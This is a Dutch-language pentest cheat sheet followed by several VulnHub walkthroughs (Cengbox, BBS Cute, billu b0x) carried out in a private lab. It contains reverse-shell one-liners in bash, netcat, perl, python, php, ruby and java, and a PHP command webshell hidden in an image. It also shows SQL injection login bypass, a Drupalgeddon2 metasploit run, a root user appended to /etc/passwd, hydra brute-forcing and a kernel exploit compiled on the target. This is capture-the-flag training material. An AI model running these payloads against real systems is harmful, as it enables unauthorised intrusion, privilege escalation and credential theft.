Aantekeningen

Netwerk enumeratie

netdiscover
nbtscan 10.0.1.0/24
nmap -sn 10.0.0.0/16

nmap -p- 10.0.1.150 -sV -O -A

Enumeratie

sudo toegestane commando’s: sudo -l

luisterende poorten: netstat -lntp

eigenaar poort: lsof -i:4444

cat /etc/passwd
cat /etc/shadow

windows versie bepalen: systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

website
nikto -h http://1.2.3.4
nikto -host $targetip -port $targetport

dirb http://1.2.3.4 <wordlist>
dirbuster
gobuster dir -u http://1.2.3.4 -w <wordlist> -x <extensie>,<extensie>

dirsearch.py -w <wordlist> -u $targetip -e <extenstie>

wpscan –url http://1.2.3.4:8080/

Bestanden overdragen tussen machines

NC
Lokaal: nc -nvlp 4444 > file.txt
Remote: nc -nv 1.2.3.4 4444 < file.txt

php
php -S localhost:4444

python
python -m SimpleHTTPServer 4444
python3 -m http.server 4444

wget http://1.2.3.4:4444/file.txt
curl http://1.2.3.4:4444 > file.txt

Reverse shell one-liners

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc -e /bin/sh 10.0.0.1 1234
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl -e ‘use
Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getproto
byname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&
S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

JAVA: r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) p.waitFor()

Shell upgrade naar interactive TTY

python -c ‘import pty; pty.spawn(“/bin/sh”)’
/bin/sh -i
echo os.system(‘/bin/bash’)

perl —e ‘exec “/bin/sh”;’
perl: exec “/bin/sh”;
ruby: exec “/bin/sh”
lua: os.execute(‘/bin/sh’)

Shell vanuit applicaties

IRB: exec “/bin/sh”
VI: !bash
VI: set shell=/bin/bash:shell
NMAP: !sh

Bruteforce tools

hydra -l root -P password-file.txt 1.2.3.4 ssh
hydra -P password-file 1.2.3.4 snmp

ncrack -vv –user gebruiker -P password-file.txt rdp://1.2.3.4

medusa -h 1.2.3.4 -u admin -P password-file.txt -M http -m DIR:/admin -T 10

Verzamelen gegevens van websites

theharvester -d 1-0-1.nl -b google > google.txt

cewl http://www.site.nl > site.txt
cewl –depth 0 -w output.txt https://en.wikipedia.org/wiki/Billy_Madison

python wordcollector.py http://www.site.nl

Woordenlijst maken

tr -sc'[A-Z][a-z]’ ‘[\012*]’ < input | sort | uniq > output

mp64 bla?a?a

crunch 6 6 01234567890ABCDEF -o crunch1.txt
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
crunch 8 8 -t ,@@^^%%%
@ = lower case alpha
, = upper case alpha
& = numeric characters
^ = special characters including space

Buffer overflow punt bepalen

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
/pattern_offset.rb -l 2700 -q 3969443

Python
buffer = “A” * 2606 + “B” * 4 + “C” * 90


Bad characters bepalen
Stuur reeks van 0x00 tot 0xff en kijk waar er wordt afgebroken.

Debugging van toepassingen

edb –run <programma>


URL’s

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/flozz/p0wny-shell/raw/master/shell.php

https://www.kernel-exploits.com
https://github.com/b374k/b374k/blob/v3.2.3/b374k.min.php
https://highon.coffee/blog/lfi-cheat-sheet/
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/superkojiman/onetwopunch
https://github.com/Ganapati/RsaCtfTool
https://sparta.secforce.com/
https://github.com/maurosoria/dirsearch
http://www.fuzzysecurity.com/tutorials/16.html
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheatsheet
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/

Cengbox

NaamCengbox
AuteurArslan
URLhttps://www.vulnhub.com/entry/cengbox-1,475/
NiveauBeginner
Interne ID150
Interne naamCengbox
TagsWeb, sql, privesc

Ik begin met een poortscan van de machine om te kijken welke poorten er allemaal open staan en welke services daar achter draaien.

nmap -p- 10.0.1.150 -sV -O -A

De volgende poorten zijn open:

22OpenSSH 7.2p2
80Apache httpd 2.4.18

Ik begin met het bekijken van poort 80 door een webbrowser te openen en naar de website te bladeren. http://10.0.1.150

Een startpagina waar je verder niet zo veel mee kunt doen. Misschien is er meer op de server te vinden. Tijd om met gobuster te kijken wat er nog meer te vinden is.
Zelf vind ik het handig om te zoeken naar de volgende bestandsextensies: php, htm, html, old, bck, txt, sql, bak

gobuster dir -u http://10.0.1.150 -w /usr/share/dirb/wordlists/big.txt -x php, html, htm, old, bck, txt, sql, bak

Dit levert een lijstje van interessante mappen op:
/img
/js
/masteradmin
/vendor
/server-status

In de browser open ik de mappen, na wat rondkijken wil ik de masteradmin map wat verder onderzoeken, ook dit keer gebruik ik gobuster.

gobuster dir -u http://10.0.1.150/masteradmin/ -w /usr/share/dirb/wordlists/big.txt -x php, html, htm, old, bck, txt, sql, bak

Het resultaat is veelbelovend:
db.php
login.php
upload.php
/vendor

Ik open login.php in de browser en word met een inlogscherm begroet.

Ik probeer eerst wat standaard gebruikersnamen met leeg wachtwoord gevolgd door standaard gebruikersnamen met standaard wachtwoorden. Bijvoorbeeld: admin:admin of root:toor.

Uiteindelijk blijkt de login gevoelig te zijn voor sql injectie en kan ik inloggen met de meest basale injectiestring die er volgens mij is:

‘ or 1-1 —

Effectief sluit dit een bestaande query, geeft vervolgens een statement wat altijd waar is en zorgt er voor dat de rest van de query als commentaar wordt gezien. In dit geval gebruik ik het op zowel de gebruikersnaam als het wachtwoord.
Zodra ik ben ingelogd kom ik op een upload scherm terecht.

Ik probeer eerst een plaatje te uploaden maar dat mag niet, er volgt een melding dat de extensie niet is toegestaan en dat alleen CENG files geupload kunnen worden.
Ik hernoem mijn plaatje naar .ceng en upload het. Dat mag.

Nu op zoek naar het plaatje, waar is deze terecht gekomen?
Het blijkt onder zijn originele naam in de map /uploads te staan.

Tijd om een shell te proberen, ik gebruik hiervoor eigenlijk altijd p0wny-shell. Die is redelijk klein en werkt erg prettig. Ik hernoem de shell naar shell.php.ceng en upload hem via het upload scherm,

Door nu in een webbrowser de url http://10.0.1.150/uploads/shell.php.ceng te openen krijg ik een nette shell in mijn browser.

Via het id commando kom ik er achter dat ik onder de www-data gebruiker kan werken.
De eerder gevonden file db.php is interessant omdat daar meestal credentials in te vinden zijn. Dus ik zoek het bestand op en bekijk de inhoud.

cat /var/www/html/masteradmin/db.php

Hmm, een root wachtwoord, ik probeer of ik die kan gebruiken om via SSH in te loggen.

ssh root@10.0.1.150

Na het ingeven van het gevonden wachtwoord krijg ik een ‘permission denied’. Helaas, het is dus niet het wachtwoord van root op het systeem. Maar misschien staat er een wachtwoord in de cengbox database.

Ik probeer mysqldump uit met de gegeven credentials en stuur de uitvoer naar /tmp/cengbox.sql

mysqldump -uroot -pSuperS3cR3TPassw0rd1! cengbox > /tmp/cengbox.sql

Dit levert een bestandje op in /tmp welke ik download via mijn P0wnyshell door download /tmp/cengbox.sql in te tikken.

Het bestand open ik in een tekst editor en al snel valt de volgende regel op:

INSERT INTO admin VALUES (1,’masteradmin’,’C3ng0v3R00T1!’);

Dit is de login voor de masteradmin/login.php pagina, maar misschien is het wachtwoord ook ergens anders voor te gebruiken. Ik probeer de passwd file /etc/passwd te openen vanuit mijn shell. (Dit had ik op een eerder punt al uitgevoerd maar het is nu pas relevant).

cat /etc/passwd

Dit levert heel wat records op maar er zijn eigenlijk maar 2 users:
root
cengover

Ik probeer het gevonden wachtwoord uit via SSH.

ssh root@10.0.1.150
ssh cengover@10.0.1.150

Met de cengover gebruiker kom ik het systeem in. Ik heb nu een volledige shell onder de gebruiker cengover.

In de homedirectory van deze user staat de eerste vlag.

cat /home/cengover/user.txt

Ik upload het linenum script via P0wnyshell en voer het uit.
Er is echter niets gevonden wat ik kan gebruiken om mijn rechten te verhogen.
Ik onderzoek de cron scripts en kijk welke commando’s er uitgevoerd worden, misschien kan ik hier iets mee. Ook vraag ik de draaiende processen op met ps -aux, maar ook hier zit niets bruikbaars tussen.

Terwijl ik op zoek ga naar privesc exploits voor het besturingssysteem probeer ik nog één ander dingetje, ik upload process spy naar de machine (pspy64) en voer deze uit om een gedetailleerder overzicht van alle draaiende processen te krijgen. Daar waar ps -aux een momentopname geeft van de draaiende processen geeft pspsy64 een continu overzicht van de processen, ook processen die heel even gestart worden zie je hierin terug.

./pspy64

Het pspy scherm toont de processen die ik eerder ook heb gezien, ik laat het draaien terwijl ik op zoek ga naar een privesc exploit.

Als ik na een paar minuten terugkom in mijn shell zie ik een interessante regel op het scherm. Er wordt onder de root gebruiker een python script gestart.

Nader onderzoek brengt aan het licht dat het betreffende script /opt/md5check.py door de cengover gebruiker is aan te passen. Dit is de ingang die nodig is om root rechten te verkrijgen.

Het is nu mogelijk om ieder commando vanuit root uit te voeren door dit in het python script te plaatsen. Ik kies voor een reverse shell maar had net zo goed het root wachtwoord kunnen wijzigen of een nieuwe gebruiker aan kunnen maken met sudo rechten.

Het python script breid ik uit met het volgende stukje code:

Ik start op mijn pc een luisterend proces op poort 4444 en wacht.

nc -nvlp 4444

Na enige tijd wordt er een verbinding gelegd en komt er een shell tevoorschijn.

Ik controleer met whoami of dit inderdaad een root shell is, en dat is zo.

BBS (CUTE): 1.02

NaamBBS (CUTE): 1.0.2
Auteurfoxlox
URLhttps://www.vulnhub.com/entry/bbs-cute-102,567/
NiveauBeginner
Interne ID180
Interne naamCuteBBS
TagsWeb, privesc

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.180 -sV -O -A

De uitvoer van de scan toont aan dat er meerdere poorten geopend zijn:

PoortService
22OpenSSH 7.91
80Apache httpd 2.4.38
88nginx 1.14.2
110Courier POP3D
995Courier POP3D (SSL)

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een standaard apache pagina.

Vaak duidt zo’n standaard startpagina er op dat er een applicatie in een submap draait, of onder een andere URL dan de standaard geconfigureerde startpagina. Dit onderzoek ik met dirb. Ik gebruik -r om te voorkomen dat dirb alle submappen recursief bij langs gaat, voor alsnog ben ik alleen in de inhoud van de rootmap geinteresseerd.

dirb http://10.0.1.180 -r

Dit levert het beeld op dat er inderdaad een applicatie is geïnstalleerd op de website, ik zie mappen als core, docs, libs, manual, uploads en skins. Ook is te zien dat er een index.php bestand aanwezig is.

Als ik de url http://10.0.1.180/index.php open word ik begroet door een login pagina van CuteNews.

Ik probeer me te registeren als een nieuwe gebruiker, gebruikersnaam en password: hacker.
Helaas wordt er om een captcha gevraagd die ik niet kan zien. Tijd om de web developers tools van de pagina te openen en te kijken wat er precies wordt geladen.

Het wordt al snel duidelijk dat er een captcha.php wordt geladen, als ik de volledige URL kopieer en in de browser plak krijg ik een captcha die ik kan gebruiken voor het registreren. Deze captcha verandert steeds als ik de pagina opvraag.

uzaleg

Nadat ik geregistreerd ben kan ik naar mijn profiel gaan. Daar kan ik een avatar uploaden, dat soort dingen zijn altijd interessant omdat je de functie misschien kunt gebruiken om bestanden te uploaden naar de webserver, bijvoorbeeld een shell.

<?php system($_GET[‘cmd’]); ?>

Ik begin met het uploaden van een kleine 50×50 gif, dat werkt.

Ik vraag de locatie van de afbeelding op en krijg te zien dat afbeeldingen in de upload map terchtkomen (en dat de website blijkbaar op cute.calipendula draait).

Vervolgens probeer ik een .php bestand met een eenvoudig script om commando’s uit te voeren te uploaden. De website geeft meteen een foutmelding dat de avatar ongeldig is. Jammer.

Vaak zijn dit soort uploadscripts voorzien van een controle op type bestand wat geupload wordt. De controle vindt meestal plaats op basis van de header van het bestand. Ik plak achter mijn 50×50 gifje het php shellscript en upload het bestand.

copy 50.gif 50pl.gif
cat pl.php >> 50pl.gif

Dit keer lukt het wel, het controle script kijkt dus niet naar het hele bestand, maar wordt er ook gecontroleerd op extensie? Ik hernoem mijn gif + script bestand zodat deze de extensie .php krijgt en upload het bestand opnieuw als avatar.

Succes! De site accepteert mijn gif + script bestand, zelfs met extensie .php.
Eerder had ik de url van het bestand al ontdekt en zou nu commando’s uit moeten kunnen voeren op de webserver door het commando als parameter cmd mee te geven.

Ik begin met het commando id om te kijken onder welke user de website draait.
hiervoor open ik in mijn browser de url http://10.0.1.80/uploads/avatar_hacker_50pl.php?cmd=id

Het antwoord wat terugkomt bevat eerst een hoop rommel (dat is de afbeeldingsdata van het gif bestand wat ik als basis heb gebruikt), gevolgd door de uitvoer van het id commando. Het blijkt dat de website onder www-data draait.

Reverse shell

Nu het mogelijk is om commando’s op de server uit te voeren is het tijd om een shell te bemachtigen, hiervoor probeer ik eerst om met het commando nc een reverse shell op te bouwen. Dit houdt in dat de webserver een connectie gaat maken met mijn eigen PC en, zodra de connectie is opgebouwd een shell aanbiedt.

Hiervoor voer ik lokaal in een terminal het volgende commando uit om te luisteren op poort 4444 naar binnenkomende verbindingen.

nc -nvlp 4444

In een browser open ik de volgende URL:

http://10.0.1.180/uploads/avatar_hacker_50pl.php?cmd=nc -nv 10.99.0.2 4444 -e /bin/sh

Ik zie in het terminalvenster dat er een verbinging binnenkomt op poort 4444.
Dat er een shell is controleer ik met het commando id.

Om een volledige tty shell te krijgen moet nog wat gedaan worden, python blijkt op de machine te zijn geïnstalleerd, dus ik gebruik het volgende commando

python -c 'import pty;pty.spawn("/bin/bash")'

Dit levert een échte shell op, eerst eens kijken wat deze user allemaal mag doen via sudo:

sudo -l

User www-data may run the following commands on cute:
(root) NOPASSWD: /usr/sbin/hping3 –icmp


Aha, blijkbaar kan ik hping3 uitvoeren, momenteel ben ik niet bekend met het commando, maar laten we eens kijken wat het doet.

hping3

Het is een shell waarin gewoon commando’s uitgevoerd kunnen worden, via whoami is te zien dat de shell onder root draait.

In de /home directory kom ik nog een homedirectory tegen van een gebruiker ‘fox’.

Vervolg

Het zou interessant kunnen zijn om te kijken of het mogelijk is iets met de ‘fox’ gebruiker te doen om binnen te komen via een andere route. De pop3 server zou mogelijk bruikbaar zijn om gebruikersnamen te brute-forcen (via VRFY commando als de server dat ondersteunt).

Ook zou een aanval via Hydra op zowel de pop3 server als op de ssh server een optie kunnen zijn.

billu: b0x2

Naambillu: b0x2
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID102
Interne naamBillubox2
TagsWeb, privesc, metasploit

Dit is de tweede machine uit de billu reeks

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.102 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na een beetje rondgeklikt te hebben vraag ik de html bron van de pagina op met een rechterklik en dan ‘view page source’

In de code zie ik dat de pagina draait op Drupal 8.

<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />

Dit is een oudere versie van Drupal, mogelijk is er een exploit beschikbaar. Dit keer kies ik er voor om metasploit te gebruiken in plaats van alle handelingen met de hand te doen.

msfconsole
search drupal

Uit de resultaten kies ik ‘drupalgeddon 2’ en laad deze in metasploit in.
Omdat Drupal op PHP draait gebruik een PHP gebaseerde payload (reverse tcp meterpreter). Als lokale poort gebruik ik mijn favoriete poort 4444.

use exploit/unix/webapp/drupal_drupalgeddon2
set payload php/meterpreter/reverse_tcp
set LHOST 10.0.1.234
set LPORT 4444
set RHOSTS 10.0.1.102
run

Succes: er wordt een reverse TCP meterpreter sessie gestart

[*] Started reverse TCP handler on 10.0.1.234:4444
[*] Sending stage (38288 bytes) to 10.0.1.102
[*] Meterpreter session 1 opened (10.0.1.234:4444 -> 10.0.1.102:46298)

meterpreter>

Ik ga direct door naar de shell om te controleren onder welke gebruiker ik ben binnengekomen.

shell
whoami
www-data

Ik kijk graag in de /etc/passwd en /etc/shadow bestanden, mogelijk zit hier een eenvoudig te kraken wachtwoord in of is er iets anders interessants uit te halen.

cat /etc/passwd

cat /etc/shadow
cat: /etc/shadow: Permission denied

Helaas is /etc/shadow niet leesbaar, even uitzoeken wat de rechten zijn op /etc/passwd en /etc/shadow

ls -al /etc/passwd
-rwxrwxrwx 1 root root 2606 jun 10 2018 /etc/passwd

Nu ik dit zie kijk ik niet meer verder. Het passwd bestand is door iedere gebruiker beschrijfbaar. Dat betekent dat ik zelf een gebruiker of alias aan het bestand kan toevoegen.

echo hacker:`openssl passwd -1 -salt hacker hacker`:0:0:root:/root:/bin/bash >> /etc/passwd

Na het toevoegen van de gebruiker ‘hacker’ met wachtwoord ‘hacker’ is het tijd om in te loggen als deze gebruiker.

su hacker
su: must be run from a terminal

Ai, onze shell is geen volledige terminal sessie, maar dat is eenvoudig op te lossen.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@billu-b0x:/var/www/html$

Ik wissel nogmaals van gebruiker, dit keer lukt het wel

su hacker
Password: hacker

root@billy-b0x:/var/www/html#

billu: b0x zonder SSH

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID136
Interne naamBilluboxNOSSH
TagsWeb, MySQL, privesc

Dit is dezelfde machine als 103: billu: b0x, maar dit keer is de SSH daemon uitgeschakeld om de moeilijkheidsgraad te verhogen.

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.136 -sV -O -A

De uitvoer van de scan toont aan dat er een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.136 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.136/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.136/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.136/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren). Tijd om de overige bestanden die met dirb zijn gevonden te gaan bekijken.

This image has an empty alt attribute; its file name is 103-Billubox-testphp-code-1.png

Het bestand c.php blijkt de database credentials van de webapplicatie te bevatten.
billu: b0x_billu
Hiermee kan op de PHPMyAdmin pagina ingelogd worden waarna de database inhoud bekeken kan worden.

In de tabel auth staan de credentials voor de webapplicatie, namelijk biLLu: hEx_it
Hiermee kan op de webapplicatie ingelogd worden waarna er de mogelijkheid is om gebruikers te tonen of toe te voegen.

Enig onderzoek van de pagina broncode brengt aan het licht dat ook hier SQL injection niet mogelijk is. Verder worden de gebruikers afbeeldingen gecontroleerd op bestandstype, het uploaden van een PHP bestand met een backdoor en deze via de pagina laten uitvoeren is hierdoor helaas niet mogelijk.

Ook worden de verschillende invoervelden ge-escaped waardoor het niet mogelijk is PHP code te injecteren.

Verder onderzoek aan de broncode van panel.php brengt aan het licht dat onder bepaalde omstandigheden het mogelijk is een zelfgekozen bestand te ‘includen’ in de pagina. Het bestand moet zich echter wel onder de webroot bevinden.

Aangezien PHP alleen code uitvoert die tussen <?php ?> tags staat en verder alles negeert is het mogelijk om PHP code toe te voegen aan niet-php bestanden, bijvoorbeeld een afbeelding. Hiermee kan de afbeelding controle van de webapplicatie omzeild worden.

Eerst maak ik een dummy afbeelding aan:


echo ‘FFD8FFEo’ | xxd -r -p > backdoor.jpg

Vervolgens plaats ik hier achter een PHP reverse shell, in dit geval is het de uitstekende reverse shell van pentestmonkeys. Deze is aangepast zodat de communicatie wordt opgebouwd met het IP adres 10.0.1.234, poort 1234

cat backdoor.php >> backdoor.jpg

Het resultaat gebruik is als gebruikersafbeelding voor een nieuwe gebruiker. De afbeelding wordt geaccepteerd en komt terecht op de URL http://10.0.1.136/uploaded_images/backdoor.jpg

Nu moet de backdoor nog uitgevoerd worden. Hiervoor start ik eerst een netcat listener in een nieuw terminal window.

nc -nvlp 1234

Vervolgens roep ik de panel.php pagina aan met de juiste combinatie van parameters om de include van backdoor.jpg uit te voeren. Het is nodig om ingelogd te zijn aangezien er een PHP session cookie wordt gebruikt.

curl -X POST http://10.0.1.136/index.php -d “un=biLLu&ps=hEx_it&login-1” -c “koekje.txt”

curl -X POST http://10.0.1.136/panel.php -d “continue=continue&load=uploaded_images/backdoor.jpg” -b “koekje.txt”

Succes, er is een reverse shell met de machine. De gebruiker is www-data en heeft weinig rechten. Nader onderzoek naar de mogelijkheden tot een privilege escalatie is nodig.

In de welkomstboodschap is al te zien dat het om een Ubuntu machine gaat het kernel 3.13.0.

searchsploit 3.13.0

Er blijkt een local privilege exploit te bestaan voor deze kernel, de code hiervoor is te vinden op /usr/share/exploitdb/exploits/linux/local/37292.c

Met behulp van het nc commando kan dit bestand naar de doelmachine worden verzonden. Hiervoor wordt op de lokale machine een listener gestart welke de inhoud van het exploit bestand verstuurt.

nv -nvlp 1235 < /usr/share/exploitdb/exploits/linux/local/37292.c

Op de doelmachine wordt een nc verbinding gestart en de uitvoer wordt naar /tmp/exploit.c geredirect.

nc -nv 10.0.1.234 1235 > /tmp/exploit.c

De overdracht vindt plaats en door op de zendende machine de verbinding met ctrl-c te verbreken wordt het bestand op de doelmachine geschrveen.

Op de doelmachine staat nu de exploit in /tmp, deze moet nog gecompileerd worden zodat deze uitgevoerd kan worden.

cd /tmp
gcc exploit.c -o exploit
chmod +x exploit
./exploit

billu: b0x

Naambillu: b0x
AuteurManish Kishan Tanwar
URLhttps://www.vulnhub.com/entry/billu-b0x,188/
NiveauBeginner
Interne ID103
Interne naamBillubox
TagsWeb, MySQL, SSH, privesc

Allereerst begin ik met een portscan van de machine, met nmap, ik scan alle TCP poorten om geen obscure poorten te missen. Dit kost enige tijd maar kan later veel voordeel opleveren.

nmap -p- 10.0.1.103 -sV -O -A

De uitvoer van de scan toont aan dat er een SSH server op poort 22 en een Apache webserver op poort 80 draait.

Ik begin met het onderzoeken van de webserver door de url van de server te openen in een webbrowser waarna ik word begroet met een login pagina.

Na het onderzoeken van de login pagina op SQL injectie vatbaarheden blijkt dat dit niet het geval is. Dan maar kijken of er interessante bestanden op de webserver zelf te vinden zijn. Hiervoor gebruik ik de commandline tool dirb.

dirb http://10.0.1.103 /usr/share/dirb/wordlists/big.txt

Dit levert een lijst van bestanden en mappen op, een aantal zien er interessant uit:

/phpmy blijkt PHP My Admin te bevatten, hiermee kun je MySQL databases beheren
/in bevat een PHPInfo pagina met daarop nuttige PHP informatie
De onderstaande bestanden zien er interessant uit:
/test.php
/panel.php
/show.php
/c.php

Ik begin met test.php, voor onderzoek doe ik dit het liefst vanaf de commandline met curl.

curl -X GET http://10.0.1.103/test.php

Dit levert een foutmelding op over het ontbreken van de ‘file’ parameter. Dit is eenvoudig uit te proberen:

curl -X GET http://10.0.1.103/test.php?file=test.php

De foutmelding blijft bestaan, blijkbaar verwacht het script de parameter niet als GET maar als POST.

curl -X POST http://10.0.1.103/test.php -d “file=test.php”

Succes, de inhoud van het bestand test.php wordt getoond op het scherm. Op deze manier is het mogelijk om bestanden van de server te tonen (maar helaas niet uit te voeren).

Het is zelfs mogelijk om bestanden die leesbaar zijn voor apache te lezen die niet direct op de webroot staan te lezen, bijvoorbeeld /etc/passwd

curl -X POST http://10.0.1.103/test.php -d “file=/etc/passwd”

Helaas is het niet mogelijk om /etc/shadow te openen op deze manier, anders was het mogelijk geweest om de wachtwoorden met john the ripper te bruteforcen.
Er is echter wel iets anders wat geprobeerd kan worden.

PHP MyAdmin heeft een configuratiebestand waarin mogelijk de database credentials te vinden zijn. Vanuit de pagina op http://10.0.1.103/in is een PHPInfo pagina op te vragen, hierop is de documentroot van de webserver te vinden. Dit blijkt /var/www te zijn.

De URL van phpmy is /var/www/phpmy, dus het configuratiebestand zou /var/www/phpmy/config.inc.php moeten zijn.

curl -X POST http://10.0.1.103/test.php -d “file=/var/www/phpmy/config.inc.php”

Met deze root credentials kan via SSH worden ingelogd op de machine. Er zit enige vertaging tussen het verbinden en de wachtwoord prompt, dit is mogelijk een bescherming tegen brute force.

ssh root@10.0.1.103

Pentesting walktroughs

Hier vindt u walktroughs van een aantal virtuele machines die u op Vulnhub kunt vinden. Iedere walktrough is door 1-0-1 uitgevoerd en beschreven.

De 1-0-1 pentesting omgeving is deels virtueel en deels fysiek uitgevoerd. De verschillende machines draaien als VM onder Proxmox, een deel van het interne netwerk wordt gerouteerd over fysieke Cisco switches en firewalls.

Pentesting in deze omgeving wordt uitgevoerd vanaf een VM welke draait op de laatste versie van Kali linux.

Het interne netwerk van de pentesting omgeving is 10.0.1.0/24 waarbij iedere machine een IP adres heeft gebaseerd op het interne ID van de machine. Verder heeft het Kali linux werkstation een vast IP adres 10.0.1.234.